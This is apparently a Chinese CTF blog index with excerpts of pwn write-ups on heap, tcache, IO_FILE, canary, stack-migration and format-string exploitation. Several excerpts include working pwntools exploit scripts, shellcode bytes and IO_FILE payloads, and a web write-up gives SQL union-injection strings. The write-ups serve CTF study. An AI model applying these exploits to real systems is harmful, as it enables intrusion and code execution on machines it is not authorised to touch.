    附件 简洁的一道题..主要考利用…咸鱼的我调了一个晚上加上办个下午没调出来 (后来反证自己走进了死胡同..) 最后改变风水思路… 主要功能有add,free,edit 限制是最多3个chunk可以被执行操作 可以选择清除不清除array上的指针 ```python ➜ three checksec three [*] ‘/home/n132/Desktop/three/three’ Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled 用的libc是2.27有tcache 漏洞点是uaf # 利用 #也不太好讲..主要自己调一遍坑都跳一遍就差不多有点思路了 * 利用uaf控制tcache改写`stdout`#具体为啥在babytecache那篇博客中写过 * 继而改写free_hook为system * free /bin/sh fengshui: 一开始我傻逼的地尝试了控制0x70结尾的地方…做了半天做不出来 因为在改写完stdout后将会失去一个可以操作的指针…free不掉 两个指针要实现tcache atk 就要满足两者存在over lap 才可以改掉size 显然0x70不如0x50来的灵活…当时没用0x50是因为0x50的那个指针也是不能free的.. ``` 利用uaf控制0x50结尾的地址(目的是方便改size) 改0x60的size为0x91 free 满tcache 获得一个unsortedbin 0x50的tcache改到0x91上 partial write指向stdout 改stdout去泄露libc free...
    Read more
  • IO_FILE:pwn_Stdout

    BCTF的easiest…感觉自己对IO_FILE的理解还是太浅了.. 看了一遍vfprintf的源码感觉对整个函数的了解加深了不少.. 关于bss上的stdoutstdin的作用还是不太清楚 附件 checksec ➜ easyest checksec easiest [*] '/home/n132/Desktop/easyest/easiest' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled 程序比较简单只有add和del两种功能 漏洞也比较明显 free(array[v1]); return puts("delete success !"); uaf 主要考察的是利用… 因为没有输出要么partial write要么用仅知的bss的地址 一开始路走错了以为没有got可以hijacking…. 还以为是partial write改写 stdout的_flags 因为输入的时候输入函数的限制:要么被/x00截断要么只写一个0x0a在这想办法绕过这个上面花了太多时间… idx = 0; while ( 1 ) { ptr = &s[idx]; res = fread(ptr, 1uLL, 1uLL, stdin); if ( (signed int)res <=...
    Read more
  • Canary

    Canary 主要是为了防止溢出而开发的栈保护机制 看了一些canary的由来这个很有意思 17世纪,英国矿井工人发现,金丝雀对瓦斯这种气体十分敏感。空气中哪怕有极其微量的瓦斯,金丝雀也会停止歌唱;而当瓦斯含量超过一定限度时,虽然鲁钝的人类毫无察觉,金丝雀却早已毒发身亡。当时在采矿设备相对简陋的条件下,工人们每次下井都会带上一只金丝雀作为“瓦斯检测指标”,以便在危险状况下紧急撤离。 摘自https://veritas501.space/2017/04/28/%E8%AE%BAcanary%E7%9A%84%E5%87%A0%E7%A7%8D%E7%8E%A9%E6%B3%95/ 我们在逆程序的时候常常会看到像是这样的东西: v4 = __readfsqword(0x28u); return __readfsqword(0x28u) ^ v4; 或者在gdb调试的时候回发现 0x400882 mov rax, qword ptr [rsp + 0x108] 0x40088a xor rax, qword ptr fs:[0x28] ► 0x400893 ✔ jne 0x4008a9 ↓ 0x4008a9 call __stack_chk_fail@plt <0x400650> 原理上就是在开始的时候往栈里放一个随机的值像是0xdd687609fc59dc00 这样看起来就不像是正常值末尾带着一个nullbyte的值 在函数结束的时候再次在fs或者gs寄存器取出canary和栈上的canary比较如果不同那么 call __stack_chk_fail@plt 之后会call abort 结束程序 编译的时候可以加上以下命令来关闭 -fno-stackprotector 绕过方法一下主要有 泄露和破坏__stack_chk_fail函数两种 在最后介绍一个利用方法 ssp leak 泄露canary也就是利用某些方法读出栈上的canary 根据不同的环境 泄露方法有很多 char buf[0x10]; read(0,buf,0x100); puts(buf);...
    Read more
  • GETS_THE_SHELL

    刚学pwn的时候看217的视频…那时候看到这题…当时就只是感觉很麻烦…匆匆看完就没有自己再去实现 出来混的总归要还的…上周的X-nuca就遇到了差不多的题目GETS 那题好像没有leave…不过应该总体思路应该一样… 昨天晚上重做这道看起来简单但是能学到很多东西的题。 #include<stdio.h> int main() { char s[0x10]; gets(s); return 1; } 编译命令 gcc main.c -fno-stack-protector -o gets ‘简单’的栈溢出 漏洞很简单,利用大思路是: 主要思想是去gets_got上取gets的地址加上与system的offset之后 push入栈后leave到附近call system 在利用的时候你会需要几个基本gadget 这个函数在gcc编译64位时一半会被编进去 这个函数一般啥事都不干。 但是 push r15 push r14 mov r15d, edi push r13 push r12 lea r12, __frame_dummy_init_array_entry push rbp lea rbp, __do_global_dtors_aux_fini_array_entry push rbx 在函数开始的时候把一些寄存器内值入栈 我们可以利用这两个特点入栈保存我们的值 这个函数还可以作为x64的通用gadget 主要方式是利用一下两个gadgets可以设置2个参数 call 任何函数 add rsp, 8 pop...
    Read more
  • NUCA:Steak

    挺综合的一题感觉质量挺好的… 学到了不少东西… 附件 ➜ steak checksec steak [*] '/home/n132/Desktop/steak/steak' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000) 经过初步逆向发现以下信息 存在限制 prctl(38, 1LL, 0LL, 0LL, 0LL, 42LL, &v3); if ( prctl(22, 2LL, &v1) ) { puts("prctl"); exit(0); } NOLEAK 存在uaf edit存在溢出 堆方面应该是解决了leak的问题就想怎么玩怎么玩 LEAK 最近研究的IO_file刚好派上用场 可以设置 stdout->_flags为0xfbad1800 write_base -> partial write \x00 有了泄露之后就可以利用fast bin atk 控制bss段的array...
    Read more
  • LCTF2018:Easy_heap

    附件 tcache 了解的太少… 做了好久…现在看起来也挺简单的…可能最近太浮躁没法静下来思考… 主要功能是add,show,和delet 用的是libc2.27有tcache v4 = __readfsqword(0x28u); i = 0; if ( size ) { while ( 1 ) { read(0, &ptr[i], 1uLL); if ( size - 1 < i || !ptr[i] || ptr[i] == 10 ) break; ++i; } ptr[i] = 0; ptr[size] = 0; } else { *ptr = 0; } return __readfsqword(0x28u) ^ v4; 其他地方看不出啥洞…这里有个很明显的ptr[size]...
    Read more
  • Hitcon:children_tcache

    附件 baby_tcache的低级版… baby_tcache 主要漏洞在strcpy存在null byte off 只要像babytcache一样构造直接show来leak就可以了… 主要思路在上题链接中这里不多赘述 from pwn import * def cmd(c): p.sendlineafter("ice: ",str(c)) def add(size,data): cmd(1) p.sendlineafter("Size:",str(size)) p.sendafter("Data:",data) def show(idx): cmd(2) p.sendlineafter("Index:",str(idx)) def free(idx): cmd(3) p.sendlineafter("Index:",str(idx)) p=process("./children_tcache") libc=ELF("/lib/x86_64-linux-gnu/libc.so.6") for x in range(6): add(0x80,"\n") add(0x5e0,'\n')#6 add(0x500,'\n')#7 add(0x80,'\n')#8 free(6) add(0x18,'B'*0x18)#6 add(0x80,'\n')#9 for x in range(6): free(x) free(8) free(6) add(0x100,'\n')#0 free(9) free(7) add(0x350,'\n')#1 add(0x30,'\n')#2 add(0x40,'\n')#3 show(0) base=u64(p.readline()[:-1].ljust(8,'\x00'))-(0x7ffff7dcfca0-0x7ffff79e4000) libc.address=base log.warning(hex(base)) add(0x100,'\n')...
    Read more
  • x86_stack_migration:Hack

    基础太差… tcl 不知道啥比赛的题…上课上完有个朋友给我发了题…初看挺简单…后来看了群里师傅的思路才做出来.. 曲线救国曲线救国。。。 附件 X86的程序题目意图很明显考察利用思路… ➜ Desktop checksec hack [*] '/home/n132/Desktop/hack' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) 直接允许泄露栈地址,堆地址,libc基址 最后的部分考察利用 P1 = fake_node->pre; P2 = fake_node->next; P1->next = P2; P2->pre = P1; 其中fake_node完全可控 可以设置p1,p2然后程序就会往p1+8写p2和p2+12写p1 那么问题来了假设我们要控制执行流那么我们一定要有个能执行的address 因为可执行不可写那么显然那个address是填写在我们之前控制的堆上.. 所以我们最后设置p1,p2的目的是让程序运行到堆上去… 今天的新发现…32位程序main在ret前是.(自己随便编了一个发现也是…之前都没注意到,tcltcl) 8048702: c9 leave 8048703: 8d 61 fc lea -0x4(%ecx),%esp 8048706: c3 ret...
    Read more
  • Hitcon:baby_tcache

    收获挺大的一题,IO_FILE 真好用….angelboy,david942j真的厉害。。。 附件 程序逻辑很简答: void __fastcall __noreturn main(__int64 a1, char **a2, char **a3) { __int64 cmd; // rax init_0(); while ( 1 ) { while ( 1 ) { menu(); cmd = get_cmd(); if ( cmd != 2 ) break; del(); } if ( cmd == 3 ) _exit(0); if ( cmd == 1 ) add(); else puts("Invalid Choice"); }...
    Read more
  • double free or corrupttion

    源码是一切问题的基础。 这次主要从源码层面看看double free的各个报错成因,以及绕过姿势。 int_free===>if ((unsigned long)(size) <= (unsigned long)(get_max_fast ()) 也就是free到fastbin对于doublefree的检测….非常友好 if (SINGLE_THREAD_P) { /* Check that the top of the bin is not the record we are going to add (i.e., double free). */ if (__builtin_expect (old == p, 0)) malloc_printerr ("double free or corruption (fasttop)"); p->fd = old; *fb = p; } else do { /* Check that...
    Read more
  • XCTF-final-2018-nobof

    x86 amd [*] '/home/n132/Desktop/nobuf' Arch: i386-32-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) while ( 1 ) { printf("which book do you want to update?\n"); v1 = get_int(); if ( v1 != -1 ) break; printf("please type a correct number\n"); } if ( v1 < 256 ) break; printf("no books at index %d\n",...
    Read more
  • XCTF-final-2018:PUBG

    PUBG PICK A GUN first AND you have two choise : gang or gou gou : you may find AWM gang : if you dont have AWM you will die IF you win you can leak something and you can overflow to control the RIP so enjoy the game you can leak libc by for ( j = 0; j...
    Read more
  • IO_FILE ALl_in_one

    最近看到HItcon2018的babytcache发现IO_FILE还是博大精深,之前对于IO_FILE的理解还是十分稚嫩只知道orange和普通的利用… 尔后又看了老钟的博客感觉IO_FILE神奇的很! 收获满满 老钟博客传送点 开始自己动手把lowkey师傅的课件的题探索一遍… 感觉lowkey师傅的课件还是循循善诱当时基础太差没领会其中奥妙… 开始写前膜一波angelboy lowkey zs0zrc 像是一些我們熟悉的gets puts 都和IO_FILE有关 基础部分之前在echo和orange介绍过一些就不介绍了 在32bit系统中,_IO_jump_t的偏移是0x94,64bit系统中偏移是0xE8 64位: 存在后门情况 payload='\x00'*0x10+p64(sh)+"\x00"*0x70+p64(buf) payload=payload.ljust(0xd8,'\x00')+p64(buf) payload=payload.ljust(0x100)#充填防髒數據 不存在后门情况 payload="/bin/sh".ljust(0x10,'\x00')+p64(system)+"\x00"*0x70+p64(buf+0x20)#此处地址上值为0 payload=payload.ljust(0xd8,'\x00')+p64(buf+0x10-0x88) payload=payload.ljust(0x100,'\x00')#防止脏数据 32位: 伪造IO_FILE_plus结构体, 32位和64位不一样,32位的需要伪造vtable,而64位可以不用伪造vtable,因为64位的在绕过几个函数后会获得一次call [rax + 0x10]的机会(zs0zrc) #存在後門sh use_IO_new_fclose payload="".ljust(0x48,'\x00')+p32(buf)+p32(sh) payload=payload.ljust(0x94,'\x00')+p32(buf+0x4c-0x8) payload=payload.ljust(0x100,"\x00") #不存在後門情況 use __fclose payload="/bin/sh".ljust(0x48,'\x00')+p32(buf+8)+p32(system)#0ff 0x48 處指向地址值位0 payload=payload.ljust(0x94,'\x00')+p32(buf-0x44+0x4c) payload=payload.ljust(0x100,"\x00")
    Read more
  • chall2-bank

    前几天写的当时记得保存了…. 然后今天重建博客的时候发现没了… 这几天看了hitcon的pwn题感觉菜单题还是挺友好的 程序主要是以下功能 Letter 1. Create an account 2. Edit the title 3. Edit your statement 4. Shut down your account 5. View your bank status 主要涉及到的结构体是: 00000000 act struc ; (sizeof=0x28, mappedto_6) 00000000 check dq ? 00000008 size dq ? 00000010 statement dq ? ; offset 00000018 title db 16 dup(?) 00000028 act ends 00000028 本题特色每次做完操作都会检查一遍malloc_hook 和 每个被记录的act的chec位...
    Read more
  • Kamikaze

    Kamikaze做完之后我想Kamikaze…… 感觉这题主要烦在利用难 做完之后收获挺大,堆风水思路很重要。。。 在风水先生的路上又前进了一步 主要结构体 00000000 00000000 song struc ; (sizeof=0x28, mappedto_6) 00000000 weight dq ? 00000008 stanza dq ? ; offset 00000010 next dq ? ; offset 00000018 hook dq ? 00000020 hook2 dq ? 00000028 song ends 主要漏洞点 unsigned __int64 kamimaze() { int i; // [rsp+Ch] [rbp-34h] int wei; // [rsp+10h] [rbp-30h] int seed; // [rsp+14h] [rbp-2Ch] song...
    Read more
  • BABY OFFBYONE

    一上来我还突发奇想看看可不可以house of force发现有sysmem的限制… 然后因为同时在看另一道heap_interface(一题没有泄露的)把两题搞混了…做了半天发现这题是有泄露的… 题目:[offbyone][1] 木有uaf if ( v1 >= 0 && v1 <= 15 && qword_2020C0[v1] ) { free(qword_2020C0[v1]); qword_2020C0[v1] = 0LL; puts("done."); } 但是可以想办法泄露 主要的漏洞点在 if ( v1 >= 0 && v1 <= 15 && qword_2020C0[v1] ) { puts("your note:"); v2 = strlen((const char *)qword_2020C0[v1]); read(0, qword_2020C0[v1], v2); puts("done."); } 如果充满chunk那么nextchunk的size位将被算进strlen就有了offbyone 利用offbyone改大nextchunk的size 造成overlap:free掉nextchunk进入unsortedbin 通过精心设计的两次malloc使得有两个指向同一个chunk的指针,malloc第一次的时候可以shownextchunk来leak 通过fastbinatk写malloc_hook为one_gadget printerr get shell...
    Read more
  • Stack-Migaration

    在ctfwiki上看到的 over 虽然很简单但是很精练 可以作为一般stack migration的范本 程序很简单 有0x10的溢出 可以覆盖rbp和ret address 可以泄露栈地址(rfd) 泄露栈地址 ->栈迁移到可控区域leak libc ->跳回main ->改掉返回地址为one_gadget from pwn import * def repeat(c): p.readuntil(">") p.send(c) bin=ELF("./over.over") libc=ELF("/lib/x86_64-linux-gnu/libc.so.6") context.log_level='debug' leave=0x00000000004006be pr=0x0000000000400793 main=0x0000000004006C0 p=process("./over.over") payload="A"*0x50 repeat(payload) p.readuntil("A"*0x50) data=p.readline() stack=u64(data[:-1].ljust(8,"\0")) log.warning(hex(stack)) payload=p64(0xdeadbeef)+p64(pr)+p64(bin.got['puts'])+p64(bin.plt['puts'])+p64(main) payload=payload.ljust(0x50,'\0')+p64(stack-0x70)+p64(leave) repeat(payload) p.readline() data=p.readline() base=u64(data[:-1].ljust(8,"\0")) base=base-libc.symbols['puts'] libc.address=base one=0x4526a+base log.warning(hex(base)) repeat("A"*0x50+p64(0xdeadbeef)+p64(one)) p.interactive()
    Read more
  • Hook_magic

    粗浅的理解,可能理解不对的地方很多。 最近遇到好多题通过hook来跳shell,好处是只要泄露了libc并且有任意写的能力就可以将one_gadget写入libc中的__malloc_hook(例)在调用malloc的时候就会跳到one_gadget。 libc中的hook机制,主要用于内存分配,它就像无处不在的钩子一样,一旦设置好了 hook,我们就可以在内存分配的地方随心所欲地做我们想做的事情。(摘自别人博客) 上源码——> malloc.c void * __libc_malloc (size_t bytes) { mstate ar_ptr; void *victim; void *(*hook) (size_t, const void *) = atomic_forced_read (__malloc_hook); if (__builtin_expect (hook != NULL, 0)) return (*hook)(bytes, RETURN_ADDRESS (0)); .... .... 之前只知道malloc的主要实现在int_malloc,事实上会先检查是否存在hook如果存在hook那么执行hook指向的函数. 由于c基础太差 这里插入一些关于函数指针的内容 函数指针,指向函数的指针定义方法如下 返回类型 (*函数指针名称)(参数类型,参数类型,参数类型,…); 看起来和函数的定义方法相似只是要在指针名称前加一个* #include<stdio.h> void (*p)(int a); void add(int a) { printf("%d\n",a+1); } int main() { add(11); p=add; p(12);...
    Read more
  • IO_FILE:_IO_buf_base

    struct _IO_FILE 定义在 glibc/libio/bits/types/struct_FILE.h struct _IO_FILE { int _flags; /* High-order word is _IO_MAGIC; rest is flags. */ /* The following pointers correspond to the C++ streambuf protocol. */ char *_IO_read_ptr; /* Current read pointer */ char *_IO_read_end; /* End of get area. */ char *_IO_read_base; /* Start of putback+get area. */ char *_IO_write_base; /* Start of put area. */...
    Read more
  • QCTF-2018-Pwn-Wp

    看了Mem2019师傅的payload感觉好强 虽然只有一行payload 但都很精妙 思路: 发现是sprintf fmtstr漏洞 参数完全可控 应该挺简单,改got然后直接getshell 然后因为strlen binding过了就瞄准printf了 考虑到参数就是fmt所以在fmt开始部分放/bin/sh 开始构造payload,大致是”/bin/sh”+”@$%^&*(“ 为了保证能过check2所以长度要一样。。。 于是我开始尝试各种蠢方法最后发现不行 看了看发现Mem2019师傅直接去写全局变量len然后在那后面加了个\0… 然后是发现过是过了但是/bin/sh有点问题。。需要0截断 然后利用一个值是0在原本的note中的地址利用%s读 最终payload=”/bin/sh”+”%30$34239s”+”%28$hn”+”%30$52s”+”%29$n\0”+p32(addr)+p32(addr2)+p32(0x804800c) exp: from pwn import * context.log_level="debug" p=process("./note") p.readuntil("name?") debug=1 if debug==0: gdb.attach(p,''' b *0xf75fac94 c ''') addr=0x804a010 addr2=0x804a08c vul=0x80485c6#sys_plt+6 payload="/bin/sh"+"%30$34239s"+"%28$hn"+"%30$52s"+"%29$n\0"+p32(addr)+p32(addr2)+p32(0x804800c) p.sendline(payload) p.interactive() 第一次做sprintf的fmtstr…没有警觉性 半天找不到洞。 还有就是check比较坑check的第一个参数是fmt而sprintf为第二个然后半天搞不懂程序在干啥。。。 经验不足。 char buf[55]; // [rsp+0h] [rbp-50h] char v5; // [rsp+37h] [rbp-19h] ssize_t v6; // [rsp+38h] [rbp-18h] unsigned...
    Read more
  • QCTF-2018-Web-Wp

    主要方向不是web所以只记录自己做过的题目 从33066感觉应该是出题人给的提示让我们往sqli方向去 然后开始注入发现盲注benchmark有点感觉后来试了试联合查询发现很简便 先猜字段数======>3 然后找表名======> h'union/**/select/**/1,2,table_name/**/from/**/information_schema.tables# 得到表名:secret_table 列名======> h'union/**/select/**/1,2,group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name="secret_table"# //id,fl4g flag: h'union/**/select/**/1,2,group_concat(fl4g)/**/from/**/secret_table# 买彩票… 扫了一遍目录发现robots里面有.git 于是源码泄露一波 了解了大致的过程后 陷入的本地爆破随机数的深坑 最后回到验证函数发现只要输入是true那么无条件true function buy(){ $win_numbers="asdasda"; $same_count=0; for($i=0; $i<7; $i++){ if(true == $win_numbers[$i]){ $same_count++; } } echo $same_count; } buy(); ?> 所以修改buy.js data: JSON.stringify({ action: "buy", numbers: [true,true,true,true,true,true,true] }) 等咱有钱了就买flag….
    Read more
  • QCTF_2018_Misc_Wp

    题目:link 将二维码用ps补全不知为何电脑扫不出 但是手机可以扫出 解base32得flag import base64 a="KFBVIRT3KBZGK5DUPFPVG2LTORSXEX2XNBXV6QTVPFZV6TLFL5GG6YTTORSXE7I=" print base64.b32decode(a) stegsolve时发现最上面那行最低位有东西 lsb解密密码是lovekfc script 然后就感觉要么是playfair要么是自动密钥 结果。。。开始研究playfair各种密钥的变换 最后证明了当开始是QCTF时任何情况的palyfair都是不可以的。。。。 然后开始走进自动密钥坑。。。 最后发现是把密钥提到前面接下来按照顺序就可以了 a= "PVSF{vVckHejqBOVX9C1c13GFfkHJrjIQeMwf}" b= "lovekfcabdghijmnpqrstuwxyz"; c= "abcdefghijklmnopqrstuvwxyz"; flag="" b+=b.upper(); c+=c.upper(); wide="{}1234657980" b+=wide; c+=wide; for x in a: for y in range(len(b)): if x == b[y]: flag +=c[y] break; print flag 保安小刘今天值班时发现病栋的BGM哪里不对劲,你能帮帮他吗? hint:左右耳听到的是不是有些不一样 ps.给我好好的听歌啊! pss.你们根本就不懂友谊的魔法 hint2: 你知道通过消除人声获得伴奏的原理吗 last hint :make the wave inversion 消除人声的原理: 左右声道的人声基本相同然后背景稍有不同...
    Read more
  • Shellcode 's Magic

    Shellcode实际是一段代码(也可以是填充数据),是用来发送到服务器利用特定漏洞的代码,一般可以获取权限. 虽然shellcode不常用 但是每次用到都要找博客比较麻烦今天整理一下。 将shellcode不得不提到汇编,也不得不提到int 0x80(实现系统调用) 这里记录一下调用号 [常用的的调用号][1] EAX | Name | EBX | ECX | EDX - | :-: | :-: | :-: | :-: | 1 | sys_exit | int 3 | sys_read | unsigned int | char * | size_t 4 | sys_write | unsigned int | const char * | size_t 5 | sys_open | const char...
    Read more
  • LOG for AD2018-6-16

    AD2018-6-16 Morning 昨天去打印文件的时候时间不足没用上小号邮箱收邮件,直接把硬盘接到打印店的hub上,回到寝室后连上硬盘发现TX管家报警,当时没多想以为是自己的啥啥啥工具,直接点信任了,then 我的目录后缀都变成了exe跳出一堆弹框,于是乎感觉大事不妙 点开 任务管理器 kill进程组、 发现所有的文件都变成899k的exe。。。感觉恢复文件需要大量时间幸而里面都是些电影或者工具,于是直接挂到虚拟机上格盘。 杀毒后重启发现,一大堆目录不见了但是通过cmd还是可以进入目录但是dir不能显示目录(非隐藏文件) 室友表示可以用隐藏目录可以用火绒恢复,然后下了个火绒修复了隐藏目录保全了主机 估计我这个情况的原因是 病毒应该是将我的文件夹全部替换成了病毒.exe then原来的指向正确位置的文件夹不见了 然后杀软删除了病毒伪造的文件夹(忽然想到很多非计算机专业不显示拓展名这样就会把病毒当做文件夹) 然后就没有指向正确位置的文件夹了于是虽然那些数据都还存在但是我只有靠输入路径去寻找他们 但是火绒通过某些渠道探测到他们的存在然后便可以修复 1.不拿自己设备连公共设备 尽量发邮件到小号邮箱或者用辣鸡U盘 2.面对杀软警告看清楚再决定 3.数据常备份(看来买两个硬盘也不是没道理) 4.火绒还是挺好用 5.中毒之后太慌张 病毒样本未保存 无法分析 下次需冷静 6.改密码 耗费3小时 损失电影和工具共500G 想抓住搞破坏的script kiddie
    Read more
  • startCTF 2018 Babystack :thread stack bypass canary

    题目: 链接 0x00: 比赛的时候就感觉很奇怪,啥都没有咋过的canary做不出来,卒 比赛之后看了官方的exp搞了半天居然发现自己连exp都看不懂… 然后幸亏找到了Sakura师傅的博客 总结起来还是自己太菜了 0x01:准备 TSL 在创建进程时为了避免全局|静态变量访问冲突,所以需要一个副本 在x86-64 glibc下用mmap创建线程 所以可以通过溢出覆盖掉canary 下面是fs段寄存器的结构 typedef struct { void *tcb; /* Pointer to the TCB. Not necessarily the thread descriptor used by libpthread. */ dtv_t *dtv; void *self; /* Pointer to the thread descriptor. */ int multiple_threads; int gscope_flag; uintptr_t sysinfo; uintptr_t stack_guard; uintptr_t pointer_guard; ... } tcbhead_t; 0x02:分析 可以看到这里有0x900的溢出 然后我们用gdb调试...
    Read more
  • Relro!

    对于动态链接lazy binding在winesap的社课中已经说得非常清楚 在这里不作过多赘述。 #[A_paper_about_how_to_pwn_by_using_dl_resolver][2] relro 是一种用于加强对 binary 数据段的保护的技术。relro 分为 partial relro 和 full relro.gcc的默认是开partial.论文中涉及了对3种程度保护的理论上的攻击方法.由于时间有限和能力不足,只对no和partial进行实现;如有不正之处请予以指正@@338_5518_6880@qq.com@@ #include<stdio.h> #include<unistd.h> #include<string.h> char buf[1000000]; void m() { char local[10]; int len=read(0,buf,sizeof(buf)); memcpy(local,buf,len); } int main() { m(); } gcc raw.c -o part -no-pie -fno-stack-protector -m32 gcc raw.c -o no -no-pie -fno-stack-protector -Wl,-z,norelro -m32 思路: 因为Dynstr是可以写的,我们只需要改写Dynstr表来将某一函数错误解析到system上 所以我们需要 1.改写Dynstr 2.Call plt0 exploit: from pwn import * context.log_level='critical'...
    Read more
  • How to compile a glibc

    发现Ubuntu16.04编译libc 2.23不!会!报!错! 如果想锻炼自己解决问题能力的可以在kali上编译. 我发现于编译完3个月后… by the way ubuntu 做pwn真的好用. 需要低版本的libc学习heap利用技巧 老潘说可以下一个libc自己编译 于是乎 开始了5.1爬坑之旅 在过程中发现百度上关于这方面遇到问题之后的solution太少 谷歌上也没有比较详尽全面的教程。 于是记录一下自己在kali下 编译libc 的过程 ## 0x02 prepare Time : 2018-04-30 Linux版本信息: ```c Linux Nine 4.6.0-kali1-amd64 #1 SMP Debian 4.6.4-1kali1 (2016-07-21) x86_64 GNU/Linux ``` Info for glibc-2.23: 下载地址===>[http://ftp.gnu.org/gnu/glibc/glibc-2.23.tar.gz][1] Other libc: 其他版本的libc[http://ftp.gnu.org/gnu/glibc/][2] cd mkdir libc && cd libc wget http://ftp.gnu.org/gnu/glibc/glibc-2.23.tar.gz tar -xf glibc-2.23.tar.gz cd glibc-2.23/ mkdir build &&...
    Read more
  • Basic Pwn train (stack)

    源码和payload可以在我的git找到: https://github.com/B3t4M3Ee/banana/tree/master/Pwn #include <stdio.h> char name[50]; int main(){ setvbuf(stdout,0,2,0); printf("Name:"); read(0,name,50); char buf[20]; printf("Try your best:"); gets(buf); return ; } checksec pwn 发现没有开任何保护 我们可以看到有两次输入 第二次输入有个buffer overflow 所以我们可以 利用第一次输入写入shellcode 第二次覆盖返回地址返回到第一次的shellcode 可以构造exploit: from pwn import * p=remote('121.42.189.18',10003) offset=32 shellcode='\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80' log.info(len(shellcode)) payload=shellcode p.recv() p.sendline(payload) p.recv() p.sendline('A'*offset+p32(0x804A060)) p.interactive(); #include <stdio.h> void See_something(unsigned int addr){ int *address ; address = (int *)addr ; printf("The content...
    Read more
  • basic fmtstr

    本文为CTFALLINONE3.3.1前3节内容的笔记整理与理解 如有错误欢迎指正 格式化字符串漏洞基本原理 根据 cdecl 的调用约定,在进入 printf() 函数之前,将参数从右到左依次压 栈。进入 printf() 之后,函数首先获取第一个参数,一次读取一个字符。如果 字符不是 % ,字符直接复制到输出中。否则,读取下一个非空字符,获取相应的 参数并解析输出。(注意: % d 和 %d 是一样的) 示例代码: 格式化字符串漏洞利用 1.使程序崩溃 2.查看任意栈内容 这个就比较有用了 # echo 0 > /proc/sys/kernel/randomize_va_space $ gcc -m32 -fno-stack-protector -no-pie fmt.c 我们可以输入很多个%p来将栈上的内容显示 python2 -c 'print("%08p"*20)' | ./a.out 上面的方法都是依次获得栈中的参数,如果我们想要直接获得第n个参数的某个参数 可以使用 %n$x 3.查看任意地址的内存 这个地址我们作为参数传入,然后找到我们传入参数后对应我们输入的那个地址再查看其所指向的内容 例如 1st: "AAAA"+".%p"*20作为输入 2ed: 假设通过gdb查看到AAAA为输出的第k个字符 3th: "<想要查看的地址>"+"%k$s"作为输入 4th: 输出结果第5字节开始便为内容 进阶用法: 1st: readelf -r...
    Read more
  • static link

    以下为个人理解与一些问题 静态链接: 静态链接是由链接器在链接时将库的内容加入到可执行程序中的做法。链接器是一个独立程序,将一个或多个库或目标文件(先前由编译器或汇编器生成)链接到一块生成可执行程序。–百科 现有两个文件 a.c extern int shared; int main(int argc, char** argv) { int a = 100; swap(&a, &shared); return 0; } b.c int shared = 1; void swap(int* a, int* b) { *a ^= *b ^= *a ^= *b; } 目前主要是将相同性质的段分在一起比如a的text和b的text合在一起,a的data和b的data合在一起…… 下面是a,b,ab的段结构 a: b: ab: 在链接结束之后显然a,b,ab的实际位置是已经确定了 假设share在b中相对data段的offset是100 那么share在ab中相对data(b)的offset也应该是100 swap可以以此类推 现有两种重定位类型: R_386_32:S+A R_386_PC32:S+A-P A=保存在被修正位置的值(像是a.o中share的假的地址) P=被修正的位置(ab中要被修正的位置) S=符号的实际地址 S+A 假设share实际地址是3000 在a.o中可以知道A=0...
    Read more
  • Debug With GDB

    Install gdb and choose one of the plug-ins to start you GDB! sudo apt install gdb cd ~/ git clone https://github.com/longld/peda.git ~/peda git clone https://github.com/scwuaptx/Pwngdb.git cp ~/Pwngdb/.gdbinit ~/ GitHub - longld/peda: PEDA - Python Exploit Development Assistance for GDB GitHub - scwuaptx/Pwngdb: gdb for pwn git clone https://github.com/pwndbg/pwndbg cd pwndbg ./setup.sh GitHub - pwndbg/pwndbg: Exploit Development and Reverse Engineering with...
    Read more
  • base64 encode / python

    刚用hexo 不太熟悉markdown排版不来 之前一直在使用base64的解码 像是py中直接 import base64 base64.b64decode() 就可以完成解码 但是一直不知道base64的编码原理 Base64由来:   为什么会有Base64编码呢?因为有些网络传送渠道并不支持所有的字节,例如传统的邮件只支持可见字符的传送,像ASCII码的控制字符就 不能通过邮件传送。这样用途就受到了很大的限制,比如图片二进制流的每个字节不可能全部是可见字符,所以就传送不了。最好的方法就是在不改变传统协议的情 况下,做一种扩展方案来支持二进制文件的传送。把不可打印的字符也能用可打印字符来表示,问题就解决了。Base64编码应运而生,Base64就是一种 基于64个可打印字符(26*2+10+2)来表示二进制数据的表示方法。 编码原理: 1.先将原始目标转化为2进制 2.3字节一组不足3字节的用0补齐 设补齐n个字节 则要在最后的密文后面加上3-n个=号 3.每组按照: 6个2进制位为一个新字节前端补2个0得到8个2进制位 那么3*8 24个2进制位最后变成 24/6 4个新字节 举个栗子: 11010111 01010101 11110000 -> 00110101 00110101 00010111 00110000 4.将得到的结果在表中查找得到可显示字母最终加上3-n个=号的到最终的密文 解码: 解码是编码的逆过程 这里不做多解释 然后用python实现了编码过程: python3.6环境 –因为Python2不太清楚如何str转换成byte code: #encoding=utf8 import base64 table='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/' def encode(byteArray): charArray = [0] * (((len(byteArray) + 2) // 3) * 4) val...
    Read more
1998
  • CheatCode

    -hda fat:rw:<FolderNmae> directory <path> sed -i -r 's/security.ubuntu.com/old-releases.ubuntu.com/g' /etc/apt/sources.list sed -i -r 's/([a-z]{2}.)?archive.ubuntu.com/old-releases.ubuntu.com/g' /etc/apt/sources.list balsn CTF: Asian Parents https://bugs.chromium.org/p/project-zero/issues/detail?id=2276 wget https://bootstrap.pypa.io/pip/2.7/get-pip.py Write asm code and compile it to obj file Compile the c code to obj file link them together Use -no-pie --static to keep everything simple sample code wget https://bootstrap.pypa.io/pip/2.7/get-pip.py python ./get-pip.py replace ubuntu/security with old-released from pwn import...
    Read more